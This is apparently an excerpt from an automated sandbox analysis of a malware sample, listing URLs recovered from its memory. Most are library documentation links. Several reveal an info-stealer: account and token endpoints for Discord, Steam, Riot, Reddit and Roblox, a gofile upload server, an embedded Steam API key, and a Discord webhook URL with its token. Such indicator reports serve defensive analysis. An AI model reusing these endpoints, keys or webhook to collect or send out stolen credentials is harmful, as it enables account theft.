            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
            Source: 9afaXJv52z.exe, 00000002.00000003.1549904859.0000020DAD92B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DAD8B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549821357.0000020DAD924000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1569662370.0000020DAD999000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550963678.0000020DAD991000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1557993230.0000020DAD997000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://python.org/
            Source: 9afaXJv52z.exe, 00000002.00000003.1261155792.0000020DADA11000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261203092.0000020DAD8AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
            Source: 9afaXJv52z.exe, 00000002.00000003.1562825975.0000020DADA5E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549460513.0000020DAD9CF000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DADA56000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551519876.0000020DADA25000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1570067945.0000020DADA5F000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551014490.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1562091332.0000020DADA28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
            Source: 9afaXJv52z.exe, 00000002.00000003.1261155792.0000020DADA11000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1262454309.0000020DAD8CF000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261382928.0000020DAD8D8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261203092.0000020DAD8AD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1262711651.0000020DAD8DA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
            Source: 9afaXJv52z.exe, 00000002.00000003.1261155792.0000020DADA11000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261203092.0000020DAD8AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.riotgames.com/api/account/v1/user
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://accounts.reddit.com/api/access_token
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.gofile.io/getServer
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
            Source: 9afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.python.org/issue37179
            Source: 9afaXJv52z.exe, 00000002.00000003.1552343432.0000020DAD769000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261327304.0000020DAD769000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549171884.0000020DAD701000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551387994.0000020DAD766000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1259331986.0000020DAD990000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1568839015.0000020DAD76A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551325129.0000020DAD758000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1260666235.0000020DAD769000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1259547789.0000020DAD990000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1262607699.0000020DAD762000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1259614241.0000020DAD769000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1263149151.0000020DAD766000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bugs.python.org/issue42195.
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.discordapp.com/avatars/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://cryptography.io
            Source: METADATA0.0.drString found in binary or memory: https://cryptography.io/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://cryptography.io/en/latest/changelog/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://cryptography.io/en/latest/installation/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://cryptography.io/en/latest/security/
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v8/users/
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvD
            Source: 9afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
            Source: 9afaXJv52z.exe, 00000002.00000003.1549904859.0000020DAD92B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DAD8B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549821357.0000020DAD924000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1561481044.0000020DAD994000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550963678.0000020DAD991000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADE66000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1555260305.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1570923303.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://economy.roblox.com/v1/users/
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://filepreviews.io/
            Source: edb.log.61.drString found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
            Source: svchost.exe, 0000003D.00000003.1380403426.000001B6AE040000.00000004.00000800.00020000.00000000.sdmp, edb.log.61.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
            Source: 9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
            Source: 9afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/microsoft/pyright/)).
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://github.com/pyca/cryptography
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://github.com/pyca/cryptography/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
            Source: METADATA0.0.drString found in binary or memory: https://github.com/pyca/cryptography/issues
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246713889.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246388423.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246295929.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1068)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1079)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1081)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1084)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1085)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1090)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1092)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1099)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1105)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1107)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1117)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1120)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/1122)
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADE66000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1555260305.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1571019109.0000020DADE86000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1558309573.0000020DADE85000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python-attrs/attrs/issues/136
            Source: 9afaXJv52z.exe, 00000002.00000003.1549123706.0000020DADF16000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADEF6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1571242400.0000020DADF18000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADEF6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python-attrs/attrs/issues/251
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADE66000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1555260305.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1571019109.0000020DADE86000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1558309573.0000020DADE85000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python-attrs/attrs/issues/428
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/issues/993)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246713889.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246388423.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246295929.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
            Source: 9afaXJv52z.exe, 00000002.00000002.1565167633.0000020DAD2B8000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
